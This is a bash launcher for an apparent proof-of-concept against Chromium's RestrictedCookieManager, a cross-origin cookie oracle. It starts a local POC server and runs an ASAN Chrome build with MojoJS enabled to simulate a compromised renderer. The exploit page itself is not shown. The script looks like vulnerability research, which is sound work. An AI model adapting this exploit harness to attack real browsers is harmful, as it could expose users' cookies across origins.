#!/bin/bash
# Run the RestrictedCookieManager cross-origin oracle POC.
set -eu

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
GEN="${GEN:-/chromium/chromium/src/out/asan/gen}"
PORT="${PORT:-8080}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null || true
  rm -rf "$PROFILE"
}
trap cleanup EXIT

echo "[*] starting POC server on :$PORT"
python3 "$ARTIFACTS/server.py" "$PORT" "$GEN" >/tmp/poc-server.log 2>&1 &
SERVER_PID=$!
sleep 1

echo "[*] launching Chrome (headless, MojoJS enabled)"
echo

# Flags:
#   --enable-blink-features=MojoJS,MojoJSTest : expose Mojo to JS (simulates
#       a compromised renderer with arbitrary IPC capability).
#   --disable-popup-blocking                  : a compromised renderer can
#       trivially forge user activation; this just lets window.open() proceed
#       without one. Not a security boundary against a compromised renderer.
#   --headless=new / --disable-gpu / --no-sandbox : test-environment plumbing.
#   --enable-logging=stderr                   : surface console.log + network
#       process LOG(WARNING) ("Mojo error in NetworkService: Incorrect url
#       origin") so we can see ReportBadMessage firing.
ASAN_OPTIONS="${ASAN_OPTIONS:-detect_odr_violation=0}" \
timeout 60 "$CHROME" \
  --headless=new \
  --no-sandbox \
  --disable-gpu \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --user-data-dir="$PROFILE" \
  --enable-blink-features=MojoJS,MojoJSTest \
  --disable-popup-blocking \
  --disable-background-timer-throttling \
  --disable-renderer-backgrounding \
  --disable-backgrounding-occluded-windows \
  --enable-logging=stderr --v=0 \
  "http://localhost:$PORT/poc.html" 2>&1 \
  | grep -E '\[POC\]|Mojo error in NetworkService|Incorrect url origin|ASAN|AddressSanitizer|VULNERABILITY|FAIL|EXCEPTION|JS ERROR' || true